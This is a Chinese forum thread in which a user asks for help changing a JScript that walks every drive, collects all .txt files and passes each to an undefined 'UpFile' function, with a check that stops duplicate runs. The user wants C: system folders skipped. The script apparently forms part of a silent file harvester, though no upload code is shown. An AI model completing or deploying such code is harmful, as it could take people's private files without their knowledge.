求各位大牛帮忙修改一段js代码

Freed0m

下面的代码作用是：遍历所有硬盘驱动器>>遍历驱动器下的目录>>遍历目录里的txt文件
现在我想不搜索C盘下的某些目录如system、windows、tmp、temp，该如何修改代码？

1. function GetDriveList() {
   
2.         var fso = new ActiveXObject("Scripting.FileSystemObject");  //创建fso为一个FileSystemObject对象实例
   
3.         var e = new Enumerator(fso.Drives); // 在驱动器上创建 Enumerator
   
4.         var re = [];
   
5.         for (; ! e.atEnd(); e.moveNext()) { // 枚举驱动器集合
   
6.                 if (e.item().IsReady) { //检查驱动器是否可用
   
7.                         re.push(e.item().DriveLetter)   
   
8.                 }
   
9.         }
   
10.         return re
    
11. }  //获得活动驱动器列表,名
    
12. function GetFolderList(folderspec) {
    
13.         var fso = new ActiveXObject("Scripting.FileSystemObject");
    
14.         var f = fso.GetFolder(folderspec);  //遍历所有文件夹
    
15.         var fc = new Enumerator(f.SubFolders);
    
16.         var re = [];
    
17.         for (; ! fc.atEnd(); fc.moveNext()) {
    
18.                 re.push(fc.item())
    
19.         }
    
20.         return re
    
21. }
    
22. function GetFileList(folderspec) {
    
23.         var fso = new ActiveXObject("Scripting.FileSystemObject");
    
24.         var f = fso.GetFolder(folderspec);
    
25.         var fc = new Enumerator(f.files);
    
26.         var re = [];
    
27.         for (; ! fc.atEnd(); fc.moveNext()) {
    
28.                 re.push([fc.item(), fc.item().Name])
    
29.         }
    
30.         return re
    
31. } //遍历所有文件
    
32. function Search(Drive) {
    
33.         var FolderList = GetFolderList(Drive);
    
34.         for (var i = 0; i < FolderList.length; i++) {
    
35.                 Search(FolderList[i])
    
36.         }
    
37.         var FileList = GetFileList(Drive);
    
38.         for (var i = 0; i < FileList.length; i++) {
    
39.                 if (/\.(txt)$/i.test(FileList[i])) {
    
40.                         UpFile(FileList[i][0], FileList[i][1])
    
41.                 }
    
42.         }
    
43. } //查找
    
44. function Load() {
    
45.         var WMIs = GetObject("winmgmts:\\\\.\\root\\cimv2");
    
46.         var Items = WMIs.ExecQuery("SELECT * FROM Win32_Process WHERE Name = 'wscript.exe'");
    
47.         var i = 0,
    
48.         rs = new Enumerator(Items);
    
49.         for (; ! rs.atEnd(); rs.moveNext()) {
    
50.                 i++
    
51.         }
    
52.         if (i > 1) WScript.Quit(0);
    
53.         Items = WMIs = i = rs = null;
    
54.         var DriveList = GetDriveList();
    
55.         for (var i = 0; i < DriveList.length; i++) {
    
56.                 Search(DriveList[i] + ":\\\")
    
57.         }
    
58. }
    
59. Load();
    

复制代码

Freed0m

麦乐学园 发表于 2016-12-17 21:13
https://segmentfault.com/
去这里发求助吧。俺这边没IE帮不了你。

感谢推荐，我去试试

鲁凯啸

1. function GetFileList(folderspec) {
   
2.         var fso = new ActiveXObject("Scripting.FileSystemObject");

复制代码

1.         var f = fso.GetFolder(folderspec);
   
2.         var fc = new Enumerator(f.files);
   
3.         var re = [];
   
4.         for (; ! fc.atEnd(); fc.moveNext()) {
   
5.                 re.push([fc.item(), fc.item().Name])
   
6.         }
   
7.         return re
   
8. } //遍历所有文件

复制代码

之间加个判断

Freed0m

谢谢各位的解答，自己用vb实现了，结贴。

芝麻统帅

求别人要像孙子一样，帮助你的人就得像个爷，不是大牛，是大哥大姐，或者就是大叔大婶。

hewang

看到楼上的回复很想笑

Freed0m

芝麻统帅 发表于 2017-9-1 17:21
求别人要像孙子一样，帮助你的人就得像个爷，不是大牛，是大哥大姐，或者就是大叔大婶。

然后？你想表达什么

datuzi

刚来，学习来的

datuzi

楼上的很搞笑，心态很重要啊